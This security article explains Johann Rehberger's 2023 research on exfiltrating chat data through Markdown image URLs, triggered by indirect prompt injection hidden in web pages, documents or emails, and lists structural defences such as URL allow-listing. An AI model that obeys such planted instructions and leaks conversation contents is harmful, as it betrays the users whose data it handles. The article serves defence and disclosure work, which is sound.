The Invisible Pixel: Stealing Data Through a Chatbot's Images
Through 2023, security researcher Johann Rehberger documented a class of attack on his Embrace The Red blog that turned a friendly feature into an exfiltration channel. The ingredients were ordinary: an AI assistant that can read external content, and one that can render Markdown images. Combined with prompt injection, they let an attacker steal data from a conversation without the user clicking anything.
The mechanism hinges on how chat interfaces render images. When an assistant outputs Markdown like , the client fetches that URL to display the picture. The fetch is automatic. And a URL can carry data in its query string. If an attacker can make the model emit an image whose address encodes secrets, the victim's browser will silently send those secrets to the attacker's server the moment the image loads.
Where the malicious instruction comes from
The user never types the attack. It arrives through indirect prompt injection: hidden instructions planted in content the assistant reads on the user's behalf. Rehberger demonstrated variants using a poisoned web page, a document, or — with connected plugins — an incoming email. In one chained proof of concept, he showed the assistant reading a booby-trapped page, using one plugin to pull the victim's latest emails, and another to leak the contents out via a crafted request. The user simply asked a normal question about a page or a file.
The fix, and why it took architecture not prompting
You cannot patch this by instructing the model to “not leak data” — the whole point of injection is that the model is following instructions it should not trust. The durable fixes are structural, and vendors including OpenAI moved toward them: validating or restricting the image URLs an assistant may render, and constraining outbound requests to approved destinations. If the client refuses to fetch arbitrary attacker-controlled URLs, the channel closes regardless of what the model was tricked into emitting.
- Control where the client can send requests. Restrict image and link destinations to allow-listed domains, or route rendering through a proxy that strips data-bearing parameters.
- Treat all retrieved content as untrusted input. Web pages, documents, and emails an assistant reads may contain instructions. They must never be handled with the same trust as the user's own words.
- Separate data channels from instruction channels. The more an assistant can autonomously fetch and render, the larger its exfiltration surface. Scope those capabilities deliberately.
- Log outbound requests from AI clients. Unexpected calls to unfamiliar domains, triggered by content the model read, are a signal worth alerting on.
The broader shape of the risk
Rehberger's work — disclosed responsibly, and credited by vendors as they hardened their products — mapped a pattern that recurs across every AI assistant with tools and rendering: the confused deputy. The assistant acts with the user's authority but on an attacker's instructions. As organisations wire assistants into mailboxes, wikis, and internal systems, every new data source the model can read becomes a possible injection vector, and every rendering or network capability a possible way out. You cannot defend an exfiltration path you have not enumerated — and you cannot enumerate the paths of an assistant you did not know your team connected to production data.